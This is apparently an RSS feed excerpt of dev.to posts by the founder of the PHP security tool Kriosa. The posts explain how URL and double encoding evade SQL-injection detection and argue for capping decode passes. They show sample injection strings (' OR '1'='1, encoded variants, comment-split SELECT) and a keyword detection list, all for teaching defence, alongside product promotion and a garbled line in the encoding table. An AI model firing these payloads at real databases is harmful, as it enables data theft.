&lt;p&gt;Try it free: &lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;br&gt;
&amp;nbsp;Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sleep better we're awake - kriosa&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>laravel</category>
      <category>php</category>
      <category>security</category>
    </item>
    <item>
      <title>How do you handle URL decoding in PHP security checks without opening a decode bomb vulnerability? Looping urldecode() until stable fixes double encoding but risks excessive CPU on crafted payloads. How do you cap it safely?</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 10 Jul 2026 07:59:49 +0000</pubDate>
      <link>https://dev.to/kriosa/how-do-you-handle-url-decoding-in-php-security-checks-without-opening-a-decode-bomb-163d</link>
      <guid>https://dev.to/kriosa/how-do-you-handle-url-decoding-in-php-security-checks-without-opening-a-decode-bomb-163d</guid>
      <description></description>
      <category>discuss</category>
      <category>performance</category>
      <category>php</category>
      <category>security</category>
    </item>
    <item>
      <title>The Decode Bomb Problem — Why Unlimited URL Decoding Can Be Its Own Vulnerability</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 10 Jul 2026 07:57:25 +0000</pubDate>
      <link>https://dev.to/kriosa/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-22lb</link>
      <guid>https://dev.to/kriosa/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-22lb</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;br&gt;
Fixing one security gap without understanding the side effects can open another one.&lt;br&gt;
In my last article I wrote about URL encoding and why PHP security checks often miss encoded attack payloads. A developer read it and asked a question worth exploring carefully.&lt;/p&gt;

&lt;p&gt;“If a single urldecode() gets beaten by double encoding, then looping the decode until it stops changing feels like the obvious next move — but doesn’t that open you up to a decode bomb where an attacker sends deeply nested encoding just to burn CPU?”&lt;/p&gt;

&lt;p&gt;It is a valid concern worth exploring in depth.&lt;/p&gt;

&lt;p&gt;What I Mean by a “Decode Bomb”&lt;/p&gt;

&lt;p&gt;I am using the term decode bomb to describe a specific scenario: an attacker crafts a request with deeply nested URL encoding specifically to make your server perform excessive decoding work on every request.&lt;/p&gt;

&lt;p&gt;It is similar in concept to a ZIP bomb where a small compressed file expands into something enormous but applied to URL decoding instead of file decompression. It is not a widely standardized security term, but the pattern it describes is real. Here is how it works in practice. If your code loops urldecode() until the string stops changing, an attacker can send a deeply nested encoded payload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%25252525252527
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is what happens on each pass:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pass 1: %25252525252527  →  %252525252527
Pass 2: %252525252527    →  %2525252527
Pass 3: %2525252527      →  %25252527
Pass 4: %25252527        →  %252527
Pass 5: %252527          →  %2527
Pass 6: %2527            →  %27
Pass 7: %27              →  '
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seven passes to decode one character. Your server performs unnecessary decoding work on every request like this. In practice, the impact depends on your implementation. A single request is unlikely to cause problems, but repeated requests against code that performs excessive decoding can unnecessarily consume CPU time. You fixed the encoding blind spot. You potentially opened a resource issue in the same line of code.&lt;/p&gt;

&lt;p&gt;Why This Is Easy to Miss&lt;/p&gt;

&lt;p&gt;This is not the kind of vulnerability that shows up in standard penetration tests. It is the kind that gets discovered in production when someone notices their server is running slower than expected under unusual traffic patterns.&lt;/p&gt;

&lt;p&gt;The attacker does not need to extract data. They do not need to bypass authentication. They just need your server to spend more time processing their requests than it spends serving legitimate users.&lt;/p&gt;

&lt;p&gt;For a solo developer or small agency running client sites with limited server resources, sustained unusual traffic patterns like this can degrade performance noticeably.&lt;/p&gt;

&lt;p&gt;The Safe Solution: Cap the Decode Passes&lt;/p&gt;

&lt;p&gt;The fix requires a deliberate decision: choose a maximum number of decode passes and never exceed it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$maxPasses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$maxPasses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three passes is a reasonable upper bound in many applications, but the right limit depends on your architecture, framework, and threat model. The loop also stops early if the string stops changing so a single-encoded payload only runs one pass, not three.&lt;/p&gt;

&lt;p&gt;Single encoding is the most common attack evasion technique. Double encoding is the next layer. Beyond that, deeply nested encoding is in territory that your web server, reverse proxy, or PHP framework should already be handling upstream before the request reaches your application code.&lt;/p&gt;

&lt;p&gt;An Important Note Before You Add This&lt;/p&gt;

&lt;p&gt;Before adding custom decoding logic to your application, understand how your web server, reverse proxy, framework, and PHP itself already normalize incoming requests. Multiple layers of decoding can introduce both security and correctness issues.&lt;/p&gt;

&lt;p&gt;If you are using Laravel, remember that request data is already normalized in various ways before your application uses it. Understand where URL decoding has already occurred before adding another decoding layer.&lt;/p&gt;

&lt;p&gt;Understand your full request stack before adding normalization code.&lt;/p&gt;

&lt;p&gt;Why Pattern Matching Has Limits&lt;br&gt;
Even with capped URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.&lt;/p&gt;

&lt;p&gt;Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;SE&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;LECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;OM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.&lt;/p&gt;

&lt;p&gt;This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.&lt;/p&gt;

&lt;p&gt;The Broader Lesson: Every Security Fix Has Side Effects&lt;/p&gt;

&lt;p&gt;This is the part most security tutorials skip.&lt;/p&gt;

&lt;p&gt;When you add a security control, you are not just closing one door. You are potentially opening another. The question to ask after every security fix is not just “does this stop the attack I was worried about?” It is “what does this enable that I was not worried about before?”&lt;/p&gt;

&lt;p&gt;Unlimited URL decoding stops encoding-based evasion. It introduces resource exhaustion risk.&lt;/p&gt;

&lt;p&gt;Capped URL decoding reduces most encoding-based evasion. It limits CPU exposure. It misses deeply nested encoding which upstream infrastructure should handle anyway.&lt;/p&gt;

&lt;p&gt;Every security decision is a tradeoff. Understanding the tradeoff is what separates a developer who adds security theater from one who builds genuine defense.&lt;/p&gt;

&lt;p&gt;Detection vs Prevention&lt;/p&gt;

&lt;p&gt;Both of the articles I have written so far are about detection logging suspicious requests, normalizing input, identifying behavioral signals.&lt;/p&gt;

&lt;p&gt;Detection is valuable. But it has a ceiling.&lt;/p&gt;

&lt;p&gt;The real fix for SQL injection lives at the query layer, not the detection layer. Parameterized queries make SQL injection structurally impossible for that query no amount of encoding tricks around it.&lt;/p&gt;

&lt;p&gt;Detection tells you something suspicious happened. Prevention stops it from mattering.&lt;/p&gt;

&lt;p&gt;The strongest security posture uses both:&lt;/p&gt;

&lt;p&gt;Prevention: parameterized queries, input validation, output encoding, proper authentication&lt;br&gt;
Detection: normalized pattern matching, behavioral anomaly detection, response size monitoring, real-time alerting&lt;br&gt;
Neither replaces the other. Prevention reduces your attack surface. Detection covers what prevention misses.&lt;/p&gt;

&lt;p&gt;The Direction Behind Kriosa&lt;/p&gt;

&lt;p&gt;One of the design principles behind Kriosa is controlled input normalization keeping normalization predictable, bounded, and combined with behavioral analysis instead of relying solely on repeated decoding.&lt;/p&gt;

&lt;p&gt;The XAI dashboard then explains what was detected and why so you understand the attack pattern, not just that something was blocked.&lt;/p&gt;

&lt;p&gt;That is the difference between a log filter and a security layer. One tells you something looked suspicious. The other tells you what it was, why it was flagged, and what the attacker was trying to accomplish.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;a href="https://dev.tourl"&gt;kriosa.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Install it: composer require kriosa-ai/kriosa-php&lt;/p&gt;

&lt;p&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/p&gt;

&lt;p&gt;Kriosa — Sleep better we’re awake.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>laravel</category>
      <category>programming</category>
    </item>
    <item>
      <title>Why URL Encoding Can Break PHP Security Checks — and What Actually Works</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Wed, 08 Jul 2026 15:54:41 +0000</pubDate>
      <link>https://dev.to/kriosa/why-url-encoding-can-break-php-security-checks-and-what-actually-works-1nfd</link>
      <guid>https://dev.to/kriosa/why-url-encoding-can-break-php-security-checks-and-what-actually-works-1nfd</guid>
      <description>&lt;p&gt;First published on medium&lt;br&gt;
One overlooked detail in request inspection can leave your security checks blind to real attacks.&lt;br&gt;
That comment made me realize this topic deserves its own article. Because the gap he found is not unique to my code. It is in many PHP security checks developers write themselves.&lt;br&gt;
Here is the full picture.&lt;/p&gt;

&lt;p&gt;What URL Encoding Is&lt;/p&gt;

&lt;p&gt;When a browser or attacker sends data through a URL, certain characters cannot travel as-is. Characters like single quotes, spaces, and equals signs have special meaning in URLs they separate parameters, indicate values, structure the request.&lt;/p&gt;

&lt;p&gt;So they get converted to a safe format before transmission. This conversion is called URL encoding or percent encoding.&lt;/p&gt;

&lt;p&gt;The rules work like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'       →  %27
(space) →  %20' OR '1'='1
=       →  %3D
"       →  %22
/       →  %2F
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So a SQL injection payload that looks like this in plain text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' OR '&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Arrives at your PHP server looking like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%27%20OR%20%271%27%3D%271
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same payload intent. A completely different representation. And many PHP security checks never see it coming.&lt;/p&gt;

&lt;p&gt;Why Some Security Checks Fail&lt;/p&gt;

&lt;p&gt;Here is the kind of security check many PHP developers write when they want basic protection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"union"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"select"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"drop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"insert"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/*"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SUSPICIOUS REQUEST: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This looks reasonable. It checks for common SQL injection patterns and logs suspicious requests.&lt;/p&gt;

&lt;p&gt;But look at what it is checking against: $_SERVER['QUERY_STRING'] the raw query string exactly as it arrived from the browser.&lt;/p&gt;

&lt;p&gt;If the attacker sent %27%20OR%20%271%27%3D%271, that raw string contains none of the patterns you are checking for. No single quote. No OR. No equals sign. The check runs, finds nothing suspicious, and the request passes through.&lt;/p&gt;

&lt;p&gt;The detection check misses the request. Your log may show nothing suspicious.&lt;/p&gt;

&lt;p&gt;Important note: if you access input through $_GET rather than $_SERVER['QUERY_STRING'], PHP already decodes the values for you. This issue specifically affects developers inspecting raw request data directly.&lt;/p&gt;

&lt;p&gt;Security reminder: this example is for demonstrating detection concepts. It is not a replacement for using parameterized queries and prepared statements. The real fix for SQL injection is preventing it at the database layer not filtering it at the input layer.&lt;/p&gt;

&lt;p&gt;Normalizing Input Before Inspection&lt;/p&gt;

&lt;p&gt;The solution is to decode the URL encoding before running your pattern matching. To avoid decode bomb attacks where deeply nested encoding burns CPU we cap the decode passes at a fixed number:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"union"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"select"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"drop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"insert"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/*"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// Cap decode passes to prevent decode bomb attacks&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$maxPasses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$maxPasses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SUSPICIOUS REQUEST: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three passes maximum. The loop stops earlier if the string stops changing. This handles single and double encoding which covers the vast majority of real-world evasion attempts without opening an infinite loop vulnerability. This fixes a detection blind spot. It does not fix SQL injection itself that requires parameterized queries at the application layer.&lt;/p&gt;

&lt;p&gt;But It Goes Deeper: Double Encoding&lt;/p&gt;

&lt;p&gt;Sophisticated attackers know about urldecode(). So they encode twice.&lt;/p&gt;

&lt;p&gt;A single-encoded payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%27  →  urldecode()  →  '  ✓ detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A double-encoded payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%2527  →  urldecode()  →  %27  →  still encoded, not detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The %25 is the URL encoding for the % character itself. So %2527 decodes to %27 which is still encoded. Your single urldecode() call produces %27, your pattern matching looks for ', they never match.&lt;br&gt;
Running urldecode() twice helps in some cases. But be careful repeated decoding without understanding your full request stack can cause unexpected behavior. Know where decoding already happens in your framework before adding more layers. PHP frameworks like Laravel may already decode input at certain points in the request lifecycle.&lt;/p&gt;

&lt;p&gt;Why Pattern Matching Has Limits&lt;/p&gt;

&lt;p&gt;Even with proper URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.&lt;/p&gt;

&lt;p&gt;Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;SE&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;LECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;OM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.&lt;/p&gt;

&lt;p&gt;This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.&lt;/p&gt;

&lt;p&gt;What Actually Works: Behavioral Detection&lt;/p&gt;

&lt;p&gt;A developer who commented on my last article made a point worth examining carefully:&lt;/p&gt;

&lt;p&gt;Response size changes can be a valuable behavioral signal. A 200 response returning 9kb where 512 bytes is normally expected may indicate unusual behavior and deserves investigation.&lt;/p&gt;

&lt;p&gt;He is right. This points to a completely different detection approach: anomaly detection.&lt;/p&gt;

&lt;p&gt;Instead of asking “does this request contain a known bad pattern?” anomaly detection asks “does this request behave abnormally compared to what we normally see?”&lt;/p&gt;

&lt;p&gt;A response significantly larger than normal for that endpoint is worth investigating regardless of what the payload looked like. That said, larger responses can have legitimate causes too. The signal is most useful when combined with other indicators, not treated as conclusive on its own.&lt;/p&gt;

&lt;p&gt;Anomaly detection adds a layer that signature matching alone cannot provide it examines behavior over time, not just individual request patterns.&lt;/p&gt;

&lt;p&gt;The Two Approaches Combined&lt;/p&gt;

&lt;p&gt;The strongest security systems use both:&lt;/p&gt;

&lt;p&gt;Signature detection catches known attack patterns quickly and cheaply. Good for stopping automated scanners running common payloads.&lt;/p&gt;

&lt;p&gt;Anomaly detection can help identify unusual activity and attacks that do not match known signatures. Good for examining behavior patterns that signature matching alone would miss.&lt;/p&gt;

&lt;p&gt;Neither is sufficient alone. Together they cover the gaps the other leaves open.&lt;/p&gt;

&lt;p&gt;This is the type of gap behavioral analysis is designed to help identify by looking beyond individual patterns and examining how activity behaves over time.&lt;/p&gt;

&lt;p&gt;This is the direction behind Kriosa’s approach combining rule-based detection with behavioral analysis and explainable security insights. Not relying on one technique alone, but layering them so each covers what the other misses.&lt;/p&gt;

&lt;p&gt;The Practical Takeaway&lt;/p&gt;

&lt;p&gt;If you are writing your own PHP security checks:&lt;/p&gt;

&lt;p&gt;Know your input source understand the difference between $_GET and $_SERVER['QUERY_STRING'] and what each contains before you inspect it. Normalize before matching use the capped decode loop shown above, not a single urldecode() call. Single decoding misses double-encoded payloads.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Cap decode passes to prevent decode bomb attacks&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$maxPasses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

